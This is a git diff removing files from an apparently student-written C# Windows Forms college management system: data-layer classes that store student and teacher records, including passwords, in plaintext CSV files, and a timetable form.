password == Student.Password1) - { - return Student; - } - } - return null; - } - - public static bool isValid(string name,string password) - { - foreach (STUDENTBL Student in StudentList1) - { - if (name == Student.Name1 && password == Student.Password1) - { - return true; - } - } - - return false; - } - - public static void addStudentDataIntoFile(string Path) - { - StreamWriter file = new StreamWriter(Path); - foreach (STUDENTBL storedUser in StudentList1) - { - - file.WriteLine(storedUser.Name1 + "," + storedUser.Father_Name1 + "," + storedUser.Course1+","+storedUser.RollNumber1+","+storedUser.Password1+","+storedUser.Matric_Marks1+","+storedUser.Cnic1+","+storedUser.Bankid1+","+storedUser.Section1); - } - file.Flush(); - file.Close(); - } - public static void readDataFromFile(string Path) - { - StreamReader SFile = new StreamReader(Path); - string Record; - if (File.Exists(Path)) - { - while ((Record = SFile.ReadLine()) != null) - { - string[] SplitRecord = Record.Split(','); - string Name = SplitRecord[0]; - string Father_Name = SplitRecord[1]; - string Course = SplitRecord[2]; - string Roll_Number = SplitRecord[3]; - string Password = SplitRecord[4]; - float Marks = float.Parse(SplitRecord[5]); - string CNIC = SplitRecord[6]; - string Bankid = SplitRecord[7]; - string Section = SplitRecord[8]; - STUDENTBL Student = new STUDENTBL(Name, Father_Name, Marks, Course, Roll_Number, CNIC, Section, Password, Bankid); - addStudentIntoList(Student); - } - SFile.Close(); - } - } - public static void deleteStudentFromList(STUDENTBL Temp) - { - for (int index = 0; index < StudentList1.Count; index++) - { - if (StudentList1[index].Name1 == Temp.Name1 && StudentList1[index].Password1 == Temp.Password1 && StudentList1[index].Cnic1 == Temp.Cnic1 && StudentList1[index].Course1==Temp.Course1 && StudentList1[index].Bankid1==Temp.Bankid1 && StudentList1[index].Father_Name1 == Temp.Father_Name1 && StudentList1[index].Matric_Marks1==Temp.Matric_Marks1&&StudentList1[index].Section1 == Temp.Section1) - { - StudentList1.RemoveAt(index); - } - } - } - } -} diff --git a/Add Code Here/C#/CMS/DL/TEACHERDL.cs b/Add Code Here/C#/CMS/DL/TEACHERDL.cs deleted file mode 100644 index e7b4071ceaf..00000000000 --- a/Add Code Here/C#/CMS/DL/TEACHERDL.cs +++ /dev/null @@ -1,102 +0,0 @@ -using System; -using System.Collections.Generic; -using System.IO; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using CMS.BL; -namespace CMS.DL -{ - class TEACHERDL - { - private static List TeacherList = new List(); - public static string notice; - - internal static List TeacherList1 { get => TeacherList; set => TeacherList = value; } - - public static void addTeacherIntoList(TEACHERBL Temp) - { - TeacherList1.Add(Temp); - } - public static void addNoticeIntoList(string Notice) - { - string Path = "Notice.txt"; - StreamWriter file = new StreamWriter(Path); - file.WriteLine(Notice); - file.Flush(); - file.Close(); - - } - public static string readNoticeFromFile() - { - string path = "Notice.txt"; - StreamReader TFile = new StreamReader(path); - string Record; - if (File.Exists(path)) - { - while ((Record = TFile.ReadLine()) != null) - { - notice = Record; - } - TFile.Close(); - } - return notice; - } - - public static bool isTeacher(string Name,string Password) - { - foreach(TEACHERBL Temp in TeacherList1) - { - if(Temp.Name1 == Name && Temp.Password1 == Password) - { - return true; - } - } - return false; - } - public static void addTeacherIntoFile(string Path) - { - StreamWriter file = new StreamWriter(Path); - foreach (TEACHERBL Temp in TeacherList1) - { - - file.WriteLine(Temp.Name1 + "," + Temp.Post1 + "," + Temp.Password1 + "," + Temp.Id1 + "," + Temp.Subject1 + "," + Temp.Phone_Number1 + "," + Temp.CNIC1 + "," + Temp.Salary1); - } - file.Flush(); - file.Close(); - } - public static void deleteTeacherFromList(TEACHERBL Temp) - { - for (int index = 0; index < TeacherList1.Count; index++) - { - if (TeacherList1[index].Name1 == Temp.Name1 && TeacherList1[index].Password1 == Temp.Password1&& TeacherList1[index].Id1 == Temp.Id1) - { - TeacherList1.RemoveAt(index); - } - } - } - public static void readDataFromFile(string Path) - { - StreamReader TFile = new StreamReader(Path); - string Record; - if (File.Exists(Path)) - { - while ((Record = TFile.ReadLine()) != null) - { - string[] SplitRecord = Record.Split(','); - string Name = SplitRecord[0]; - string Post = SplitRecord[1]; - string Password = SplitRecord[2]; - string Id = SplitRecord[3]; - string Subject = SplitRecord[4]; - string Phone_Number = SplitRecord[5]; - string CNIC = SplitRecord[6]; - float Salary = float.Parse(SplitRecord[7]); - TEACHERBL Teacher = new TEACHERBL(Name, Post, Subject, CNIC, Phone_Number, Salary, Id, Password); - TEACHERDL.addTeacherIntoList(Teacher); - } - TFile.Close(); - } - } - } -} diff --git a/Add Code Here/C#/CMS/DL/TimeTableFrom.Designer.cs b/Add Code Here/C#/CMS/DL/TimeTableFrom.Designer.cs deleted file mode 100644 index f7060fa4fb6..00000000000 --- a/Add Code Here/C#/CMS/DL/TimeTableFrom.Designer.cs +++ /dev/null @@ -1,574 +0,0 @@ - -namespace CMS.DL -{ - partial class TimeTableFrom - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - this.tableLayoutPanel1 = new System.Windows.Forms.TableLayoutPanel(); - this.label1 = new System.Windows.Forms.Label(); - this.label2 = new System.Windows.Forms.Label(); - this.label3 = new System.Windows.Forms.Label(); - this.label4 = new System.Windows.Forms.Label(); - this.label5 = new System.Windows.Forms.Label(); - this.label6 = new System.Windows.Forms.Label(); - this.label7 = new System.Windows.Forms.Label(); - this.label8 = new System.Windows.Forms.Label(); - this.label9 = new System.Windows.Forms.Label(); - this.label10 = new System.Windows.Forms.Label(); - this.label11 = new System.Windows.Forms.Label(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.textBox3 = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.textBox6 = new System.Windows.Forms.TextBox(); - this.textBox7 = new System.Windows.Forms.TextBox(); - this.textBox8 = new System.Windows.Forms.TextBox(); - this.textBox9 = new System.Windows.Forms.TextBox(); - this.textBox10 = new System.Windows.Forms.TextBox(); - this.textBox11 = new System.Windows.Forms.TextBox(); - this.textBox12 = new System.Windows.Forms.TextBox(); - this.textBox13 = new System.Windows.Forms.TextBox(); - this.textBox14 = new System.Windows.Forms.TextBox(); - this.textBox15 = new System.Windows.Forms.TextBox(); - this.textBox16 = new System.Windows.Forms.TextBox(); - this.textBox17 = new System.Windows.Forms.TextBox(); - this.textBox18 = new System.Windows.Forms.TextBox(); - this.textBox19 = new System.Windows.Forms.TextBox(); - this.textBox20 = new System.Windows.Forms.TextBox(); - this.textBox21 = new System.Windows.Forms.TextBox(); - this.textBox22 = new System.Windows.Forms.TextBox(); - this.textBox23 = new System.Windows.Forms.TextBox(); - this.textBox24 = new System.Windows.Forms.TextBox(); - this.textBox25 = new System.Windows.Forms.TextBox(); - this.tableLayoutPanel1.SuspendLayout(); - this.SuspendLayout(); - // - // tableLayoutPanel1 - // - this.tableLayoutPanel1.ColumnCount = 7; - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 49.56268F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Percent, 50.43732F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 167F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 178F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 200F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 173F)); - this.tableLayoutPanel1.ColumnStyles.Add(new System.Windows.Forms.ColumnStyle(System.Windows.Forms.SizeType.Absolute, 698F)); - this.tableLayoutPanel1.Controls.Add(this.label6, 5, 0); - this.tableLayoutPanel1.Controls.Add(this.label5, 4, 0); - this.tableLayoutPanel1.Controls.Add(this.label4, 3, 0); - this.tableLayoutPanel1.Controls.Add(this.label3, 2, 0); - this.tableLayoutPanel1.Controls.Add(this.label2, 1, 0); - this.tableLayoutPanel1.Controls.Add(this.label1, 0, 0); - this.tableLayoutPanel1.Controls.Add(this.label7, 0, 1); - this.tableLayoutPanel1.Controls.Add(this.label8, 0, 2); - this.tableLayoutPanel1.Controls.Add(this.label9, 0, 3); - this.tableLayoutPanel1.Controls.Add(this.label10, 0, 4); - this.tableLayoutPanel1.Controls.Add(this.label11, 0, 5); - this.tableLayoutPanel1.Controls.Add(this.textBox2, 2, 1); - this.tableLayoutPanel1.Controls.Add(this.textBox3, 3, 1); - this.tableLayoutPanel1.Controls.Add(this.textBox4, 4, 1); - this.tableLayoutPanel1.Controls.Add(this.textBox5, 5, 1); - this.tableLayoutPanel1.Controls.Add(this.textBox6, 1, 2); - this.tableLayoutPanel1.Controls.Add(this.textBox7, 2, 2); - this.tableLayoutPanel1.Controls.Add(this.textBox8, 3, 2); - this.tableLayoutPanel1.Controls.Add(this.textBox9, 4, 2); - this.tableLayoutPanel1.Controls.Add(this.textBox10, 5, 2); - this.tableLayoutPanel1.Controls.Add(this.textBox11, 1, 3); - this.tableLayoutPanel1.Controls.Add(this.textBox12, 2, 3); - this.tableLayoutPanel1.Controls.Add(this.textBox13, 3, 3); - this.tableLayoutPanel1.Controls.Add(this.textBox14, 4, 3); - this.tableLayoutPanel1.Controls.Add(this.textBox15, 5, 3); - this.tableLayoutPanel1.Controls.Add(this.textBox16, 5, 4); - this.tableLayoutPanel1.Controls.Add(this.textBox17, 4, 4); - this.tableLayoutPanel1.Controls.Add(this.textBox18, 3, 4); - this.tableLayoutPanel1.Controls.Add(this.textBox19, 2, 4); - this.tableLayoutPanel1.Controls.Add(this.textBox20, 1, 4); - this.tableLayoutPanel1.Controls.Add(this.textBox21, 5, 5); - this.tableLayoutPanel1.Controls.Add(this.textBox22, 4, 5); - this.tableLayoutPanel1.Controls.Add(this.textBox23, 3, 5); - this.tableLayoutPanel1.Controls.Add(this.textBox24, 2, 5); - this.tableLayoutPanel1.Controls.Add(this.textBox25, 1, 5); - this.tableLayoutPanel1.Controls.Add(this.textBox1, 1, 1); - this.tableLayoutPanel1.Dock = System.Windows.Forms.DockStyle.Fill; - this.tableLayoutPanel1.Location = new System.Drawing.Point(0, 0); - this.tableLayoutPanel1.Name = "tableLayoutPanel1"; - this.tableLayoutPanel1.RowCount = 6; - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 27.52294F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 72.47707F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 115F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 120F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 119F)); - this.tableLayoutPanel1.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 141F)); - this.tableLayoutPanel1.Size = new System.Drawing.Size(1720, 663); - this.tableLayoutPanel1.TabIndex = 0; - this.tableLayoutPanel1.Paint += new System.Windows.Forms.PaintEventHandler(this.tableLayoutPanel1_Paint); - // - // label1 - // - this.label1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label1.AutoSize = true; - this.label1.BackColor = System.Drawing.Color.White; - this.label1.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label1.ForeColor = System.Drawing.Color.Green; - this.label1.Location = new System.Drawing.Point(46, 11); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(57, 23); - this.label1.TabIndex = 0; - this.label1.Text = "Time"; - // - // label2 - // - this.label2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label2.AutoSize = true; - this.label2.BackColor = System.Drawing.Color.White; - this.label2.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label2.ForeColor = System.Drawing.Color.Green; - this.label2.Location = new System.Drawing.Point(155, 11); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(142, 23); - this.label2.TabIndex = 1; - this.label2.Text = "08:00---09:00"; - // - // label3 - // - this.label3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label3.AutoSize = true; - this.label3.BackColor = System.Drawing.Color.White; - this.label3.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label3.ForeColor = System.Drawing.Color.Green; - this.label3.Location = new System.Drawing.Point(315, 11); - this.label3.Name = "label3"; - this.label3.Size = new System.Drawing.Size(142, 23); - this.label3.TabIndex = 2; - this.label3.Text = "09:00---10:00"; - // - // label4 - // - this.label4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label4.AutoSize = true; - this.label4.BackColor = System.Drawing.Color.White; - this.label4.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label4.ForeColor = System.Drawing.Color.Green; - this.label4.Location = new System.Drawing.Point(488, 11); - this.label4.Name = "label4"; - this.label4.Size = new System.Drawing.Size(142, 23); - this.label4.TabIndex = 3; - this.label4.Text = "10:00---11:00"; - // - // label5 - // - this.label5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label5.AutoSize = true; - this.label5.BackColor = System.Drawing.Color.White; - this.label5.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label5.ForeColor = System.Drawing.Color.Green; - this.label5.Location = new System.Drawing.Point(677, 11); - this.label5.Name = "label5"; - this.label5.Size = new System.Drawing.Size(142, 23); - this.label5.TabIndex = 4; - this.label5.Text = "11:01---12:00"; - // - // label6 - // - this.label6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label6.AutoSize = true; - this.label6.BackColor = System.Drawing.Color.White; - this.label6.Font = new System.Drawing.Font("Bookman Old Style", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label6.ForeColor = System.Drawing.Color.Green; - this.label6.Location = new System.Drawing.Point(863, 11); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(142, 23); - this.label6.TabIndex = 5; - this.label6.Text = "12:01---01:00"; - // - // label7 - // - this.label7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label7.AutoSize = true; - this.label7.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label7.ForeColor = System.Drawing.Color.Green; - this.label7.Location = new System.Drawing.Point(49, 94); - this.label7.Name = "label7"; - this.label7.Size = new System.Drawing.Size(52, 24); - this.label7.TabIndex = 6; - this.label7.Text = "Mon"; - // - // label8 - // - this.label8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label8.AutoSize = true; - this.label8.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label8.ForeColor = System.Drawing.Color.Green; - this.label8.Location = new System.Drawing.Point(49, 212); - this.label8.Name = "label8"; - this.label8.Size = new System.Drawing.Size(52, 24); - this.label8.TabIndex = 7; - this.label8.Text = "Tues"; - // - // label9 - // - this.label9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label9.AutoSize = true; - this.label9.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label9.ForeColor = System.Drawing.Color.Green; - this.label9.Location = new System.Drawing.Point(49, 330); - this.label9.Name = "label9"; - this.label9.Size = new System.Drawing.Size(52, 24); - this.label9.TabIndex = 8; - this.label9.Text = "Wed"; - // - // label10 - // - this.label10.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label10.AutoSize = true; - this.label10.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label10.ForeColor = System.Drawing.Color.Green; - this.label10.Location = new System.Drawing.Point(27, 449); - this.label10.Name = "label10"; - this.label10.Size = new System.Drawing.Size(95, 24); - this.label10.TabIndex = 9; - this.label10.Text = "Thursday"; - // - // label11 - // - this.label11.Anchor = System.Windows.Forms.AnchorStyles.None; - this.label11.AutoSize = true; - this.label11.Font = new System.Drawing.Font("Book Antiqua", 10F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); - this.label11.ForeColor = System.Drawing.Color.Green; - this.label11.Location = new System.Drawing.Point(41, 580); - this.label11.Name = "label11"; - this.label11.Size = new System.Drawing.Size(68, 24); - this.label11.TabIndex = 10; - this.label11.Text = "Friday"; - // - // textBox1 - // - this.textBox1.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox1.ForeColor = System.Drawing.Color.Green; - this.textBox1.Location = new System.Drawing.Point(174, 67); - this.textBox1.Multiline = true; - this.textBox1.Name = "textBox1"; - this.textBox1.Size = new System.Drawing.Size(104, 78); - this.textBox1.TabIndex = 11; - // - // textBox2 - // - this.textBox2.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox2.ForeColor = System.Drawing.Color.Green; - this.textBox2.Location = new System.Drawing.Point(334, 67); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.Size = new System.Drawing.Size(104, 78); - this.textBox2.TabIndex = 12; - // - // textBox3 - // - this.textBox3.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox3.ForeColor = System.Drawing.Color.Green; - this.textBox3.Location = new System.Drawing.Point(507, 67); - this.textBox3.Multiline = true; - this.textBox3.Name = "textBox3"; - this.textBox3.Size = new System.Drawing.Size(104, 78); - this.textBox3.TabIndex = 13; - // - // textBox4 - // - this.textBox4.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox4.ForeColor = System.Drawing.Color.Green; - this.textBox4.Location = new System.Drawing.Point(696, 67); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.Size = new System.Drawing.Size(104, 78); - this.textBox4.TabIndex = 14; - // - // textBox5 - // - this.textBox5.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox5.ForeColor = System.Drawing.Color.Green; - this.textBox5.Location = new System.Drawing.Point(882, 67); - this.textBox5.Multiline = true; - this.textBox5.Name = "textBox5"; - this.textBox5.Size = new System.Drawing.Size(104, 78); - this.textBox5.TabIndex = 15; - // - // textBox6 - // - this.textBox6.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox6.ForeColor = System.Drawing.Color.Green; - this.textBox6.Location = new System.Drawing.Point(174, 185); - this.textBox6.Multiline = true; - this.textBox6.Name = "textBox6"; - this.textBox6.Size = new System.Drawing.Size(104, 78); - this.textBox6.TabIndex = 16; - // - // textBox7 - // - this.textBox7.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox7.ForeColor = System.Drawing.Color.Green; - this.textBox7.Location = new System.Drawing.Point(334, 185); - this.textBox7.Multiline = true; - this.textBox7.Name = "textBox7"; - this.textBox7.Size = new System.Drawing.Size(104, 78); - this.textBox7.TabIndex = 17; - // - // textBox8 - // - this.textBox8.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox8.ForeColor = System.Drawing.Color.Green; - this.textBox8.Location = new System.Drawing.Point(507, 185); - this.textBox8.Multiline = true; - this.textBox8.Name = "textBox8"; - this.textBox8.Size = new System.Drawing.Size(104, 78); - this.textBox8.TabIndex = 18; - // - // textBox9 - // - this.textBox9.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox9.ForeColor = System.Drawing.Color.Green; - this.textBox9.Location = new System.Drawing.Point(696, 188); - this.textBox9.Multiline = true; - this.textBox9.Name = "textBox9"; - this.textBox9.Size = new System.Drawing.Size(104, 73); - this.textBox9.TabIndex = 19; - // - // textBox10 - // - this.textBox10.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox10.ForeColor = System.Drawing.Color.Green; - this.textBox10.Location = new System.Drawing.Point(882, 185); - this.textBox10.Multiline = true; - this.textBox10.Name = "textBox10"; - this.textBox10.Size = new System.Drawing.Size(104, 78); - this.textBox10.TabIndex = 20; - // - // textBox11 - // - this.textBox11.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox11.ForeColor = System.Drawing.Color.Green; - this.textBox11.Location = new System.Drawing.Point(174, 303); - this.textBox11.Multiline = true; - this.textBox11.Name = "textBox11"; - this.textBox11.Size = new System.Drawing.Size(104, 78); - this.textBox11.TabIndex = 21; - // - // textBox12 - // - this.textBox12.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox12.ForeColor = System.Drawing.Color.Green; - this.textBox12.Location = new System.Drawing.Point(334, 303); - this.textBox12.Multiline = true; - this.textBox12.Name = "textBox12"; - this.textBox12.Size = new System.Drawing.Size(104, 78); - this.textBox12.TabIndex = 22; - // - // textBox13 - // - this.textBox13.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox13.ForeColor = System.Drawing.Color.Green; - this.textBox13.Location = new System.Drawing.Point(507, 303); - this.textBox13.Multiline = true; - this.textBox13.Name = "textBox13"; - this.textBox13.Size = new System.Drawing.Size(104, 78); - this.textBox13.TabIndex = 23; - // - // textBox14 - // - this.textBox14.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox14.ForeColor = System.Drawing.Color.Green; - this.textBox14.Location = new System.Drawing.Point(696, 303); - this.textBox14.Multiline = true; - this.textBox14.Name = "textBox14"; - this.textBox14.Size = new System.Drawing.Size(104, 78); - this.textBox14.TabIndex = 24; - // - // textBox15 - // - this.textBox15.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox15.ForeColor = System.Drawing.Color.Green; - this.textBox15.Location = new System.Drawing.Point(882, 303); - this.textBox15.Multiline = true; - this.textBox15.Name = "textBox15"; - this.textBox15.Size = new System.Drawing.Size(104, 78); - this.textBox15.TabIndex = 25; - // - // textBox16 - // - this.textBox16.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox16.ForeColor = System.Drawing.Color.Green; - this.textBox16.Location = new System.Drawing.Point(882, 422); - this.textBox16.Multiline = true; - this.textBox16.Name = "textBox16"; - this.textBox16.Size = new System.Drawing.Size(104, 78); - this.textBox16.TabIndex = 26; - // - // textBox17 - // - this.textBox17.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox17.ForeColor = System.Drawing.Color.Green; - this.textBox17.Location = new System.Drawing.Point(696, 422); - this.textBox17.Multiline = true; - this.textBox17.Name = "textBox17"; - this.textBox17.Size = new System.Drawing.Size(104, 78); - this.textBox17.TabIndex = 27; - // - // textBox18 - // - this.textBox18.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox18.ForeColor = System.Drawing.Color.Green; - this.textBox18.Location = new System.Drawing.Point(507, 422); - this.textBox18.Multiline = true; - this.textBox18.Name = "textBox18"; - this.textBox18.Size = new System.Drawing.Size(104, 78); - this.textBox18.TabIndex = 28; - // - // textBox19 - // - this.textBox19.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox19.ForeColor = System.Drawing.Color.Green; - this.textBox19.Location = new System.Drawing.Point(334, 422); - this.textBox19.Multiline = true; - this.textBox19.Name = "textBox19"; - this.textBox19.Size = new System.Drawing.Size(104, 78); - this.textBox19.TabIndex = 29; - // - // textBox20 - // - this.textBox20.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox20.ForeColor = System.Drawing.Color.Green; - this.textBox20.Location = new System.Drawing.Point(174, 422); - this.textBox20.Multiline = true; - this.textBox20.Name = "textBox20"; - this.textBox20.Size = new System.Drawing.Size(104, 78); - this.textBox20.TabIndex = 30; - // - // textBox21 - // - this.textBox21.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox21.ForeColor = System.Drawing.Color.Green; - this.textBox21.Location = new System.Drawing.Point(882, 553); - this.textBox21.Multiline = true; - this.textBox21.Name = "textBox21"; - this.textBox21.Size = new System.Drawing.Size(104, 78); - this.textBox21.TabIndex = 31; - // - // textBox22 - // - this.textBox22.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox22.ForeColor = System.Drawing.Color.Green; - this.textBox22.Location = new System.Drawing.Point(696, 553); - this.textBox22.Multiline = true; - this.textBox22.Name = "textBox22"; - this.textBox22.Size = new System.Drawing.Size(104, 78); - this.textBox22.TabIndex = 32; - // - // textBox23 - // - this.textBox23.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox23.ForeColor = System.Drawing.Color.Green; - this.textBox23.Location = new System.Drawing.Point(507, 553); - this.textBox23.Multiline = true; - this.textBox23.Name = "textBox23"; - this.textBox23.Size = new System.Drawing.Size(104, 78); - this.textBox23.TabIndex = 33; - // - // textBox24 - // - this.textBox24.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox24.ForeColor = System.Drawing.Color.Green; - this.textBox24.Location = new System.Drawing.Point(334, 553); - this.textBox24.Multiline = true; - this.textBox24.Name = "textBox24"; - this.textBox24.Size = new System.Drawing.Size(104, 78); - this.textBox24.TabIndex = 34; - // - // textBox25 - // - this.textBox25.Anchor = System.Windows.Forms.AnchorStyles.None; - this.textBox25.ForeColor = System.Drawing.Color.Green; - this.textBox25.Location = new System.Drawing.Point(174, 553); - this.textBox25.Multiline = true; - this.textBox25.Name = "textBox25"; - this.textBox25.Size = new System.Drawing.Size(104, 78); - this.textBox25.TabIndex = 35; - // - // TimeTableFrom - // - this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); - this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1720, 663); - this.Controls.Add(this.tableLayoutPanel1); - this.Name = "TimeTableFrom"; - this.Text = "TimeTableFrom"; - this.tableLayoutPanel1.ResumeLayout(false); - this.tableLayoutPanel1.PerformLayout(); - this.ResumeLayout(false); - - } - - #endregion - - private System.Windows.Forms.TableLayoutPanel tableLayoutPanel1; - private System.Windows.Forms.Label label6; - private System.Windows.Forms.Label label5; - private System.Windows.Forms.Label label4; - private System.Windows.Forms.Label label3; - private System.Windows.Forms.Label label2; - private System.Windows.Forms.Label label1; - private System.Windows.Forms.Label label7; - private System.Windows.Forms.Label label8; - private System.Windows.Forms.Label label9; - private System.Windows.Forms.Label label10; - private System.Windows.Forms.Label label11; - private System.Windows.Forms.TextBox textBox1; - private System.Windows.Forms.TextBox textBox2; - private System.Windows.Forms.TextBox textBox3; - private System.Windows.Forms.TextBox textBox4; - private System.Windows.Forms.TextBox textBox5; - private System.Windows.Forms.TextBox textBox6; - private System.Windows.Forms.TextBox textBox7; - private System.Windows.Forms.TextBox textBox8; - private System.Windows.Forms.TextBox textBox9; - private System.Windows.Forms.TextBox textBox10; - private System.Windows.Forms.TextBox textBox11; - private System.Windows.Forms.TextBox textBox12; - private System.Windows.Forms.TextBox textBox13; - private System.Windows.Forms.TextBox textBox14; - private System.Windows.Forms.TextBox textBox15; - private System.Windows.Forms.TextBox textBox16; - private System.Windows.Forms.TextBox textBox17; - private System.Windows.Forms.TextBox textBox18; - private System.Windows.Forms.TextBox textBox19; - private System.Windows.Forms.TextBox textBox20; - private System.Windows.Forms.TextBox textBox21; - private System.Windows.Forms.TextBox textBox22; - private System.Windows.Forms.TextBox textBox23; - private System.Windows.Forms.TextBox textBox24; - private System.Windows.Forms.TextBox textBox25; - } -} \ No newline at end of file diff --git a/Add Code Here/C#/CMS/DL/TimeTableFrom.cs b/Add Code Here/C#/CMS/DL/TimeTableFrom.cs deleted file mode 100644 index ec5f9ecbd72..00000000000 --- a/Add Code Here/C#/CMS/DL/TimeTableFrom.cs +++ /dev/null @@ -1,49 +0,0 @@ -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Data; -using System.Drawing; -using System.Linq; -using System.Text; -using System.Threading.Tasks; -using System.Windows.Forms; - -namespace CMS.DL -{ - public partial class TimeTableFrom : Form - { - public TimeTableFrom() - { - InitializeComponent(); - } - - private void tableLayoutPanel1_Paint(object sender, PaintEventArgs e) - { - string period1 = textBox1.Text; - string period2 = textBox2.Text; - string period3 = textBox3.Text; - string period4 = textBox4.Text; - string period5 = textBox5.Text; - textBox6.Text = period2; - textBox7.Text = period5; - textBox8.Text = period1; - textBox9.Text = period3; - textBox10.Text = period4; - textBox11.Text = period3; - textBox12.Text = period2; - textBox13.Text = period5; - textBox14.Text = period4; - textBox15.Text = period1; - textBox16.Text = period5; - textBox17.Text = period1; - textBox18.Text = period4; - textBox19.Text = period2; - textBox20.Text = period3; - textBox21.Text = period4; - textBox22.Text = period1; - textBox23.Text = period5; - textBox24.Text = period3; - textBox25.Text = period2; - } - } -} diff --git a/Add Code Here/C#/CMS/DL/TimeTableFrom.resx b/Add Code Here/C#/CMS/DL/TimeTableFrom.resx deleted file mode 100644 index 1af7de150c9..00000000000 --- a/Add Code Here/C#/CMS/DL/TimeTableFrom.resx +++ /dev/null @@ -1,120 